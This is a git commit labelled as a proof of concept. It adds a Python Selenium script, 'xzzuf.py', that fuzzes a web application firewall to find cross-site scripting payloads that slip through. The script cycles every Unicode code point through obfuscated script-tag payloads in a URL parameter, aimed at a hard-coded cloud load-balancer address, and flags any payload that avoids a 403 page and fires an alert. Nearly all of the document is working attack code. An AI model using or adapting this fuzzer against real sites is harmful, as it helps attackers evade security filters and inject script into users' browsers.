commit 1b6fe0148e3b425708656717f741b003b3a922c3 Author: dzonerzy Date: Tue Oct 24 16:47:11 2023 +0200 poc diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..3d53637 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +venv +chromedriver* \ No newline at end of file diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..954f0db --- /dev/null +++ b/requirements.txt @@ -0,0 +1 @@ +selenium \ No newline at end of file diff --git a/xzzuf.py b/xzzuf.py new file mode 100644 index 0000000..12598c7 --- /dev/null +++ b/xzzuf.py @@ -0,0 +1,90 @@ +from urllib.parse import unquote +import selenium +import time +from selenium import webdriver +from selenium.webdriver.support.ui import WebDriverWait +from urllib.parse import urlparse +from urllib.parse import urlencode + + +class WAFBypass(): + code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;}" + + def __init__(self, url) -> None: + self.options = webdriver.ChromeOptions() + self.options.add_argument('--no-sandbox') + self.options.add_argument('--headless') + self.driver = webdriver.Chrome(options=self.options) + self.url = urlparse(url) + + if not self.check_connection(): + raise Exception("Connection Error") + + self.driver.execute_cdp_cmd( + "Page.addScriptToEvaluateOnNewDocument", {"source": self.code}) + + def check_connection(self): + try: + self.driver.get(self.url.geturl()) + return True + except: + return False + + def wait_for_pageload(self): + try: + WebDriverWait(self.driver, 4).until( + lambda driver: driver.execute_script("return document.readyState") == "complete") + except TimeoutError: + raise Exception("Page Load Error") + + def get_page_title(self): + return self.driver.title + + @property + def is_403(self): + return self.driver.title == "403 Forbidden" + + @property + def triggered_xss(self): + return self.driver.execute_script("return window.alert_trigger") + + def navigate(self, url): + self.driver.get(url) + self.wait_for_pageload() + + bypass = False + + if self.is_403: + bypass = False + else: + bypass = True + + bypass = bypass and self.triggered_xss + + return bypass + + def run_fuzz(self): + payloads = [ + "", + "", + "\u202e", + """<<\nscrip t="alert(0)""", + ] + try: + for i in range(0, 0x10FFFF): + for p in payloads: + encoded = urlencode( + {"param2": p.replace("{FUZZ}", chr(i))}) + print("Trying payload: ", encoded, f"({hex(i)}/0xffff)") + url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" + bypassed = self.navigate(url) + if bypassed: + print("Bypassed with payload: ", encoded) + break + except KeyboardInterrupt: + self.driver.close() + exit(0) + + +w = WAFBypass("http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com") +w.run_fuzz()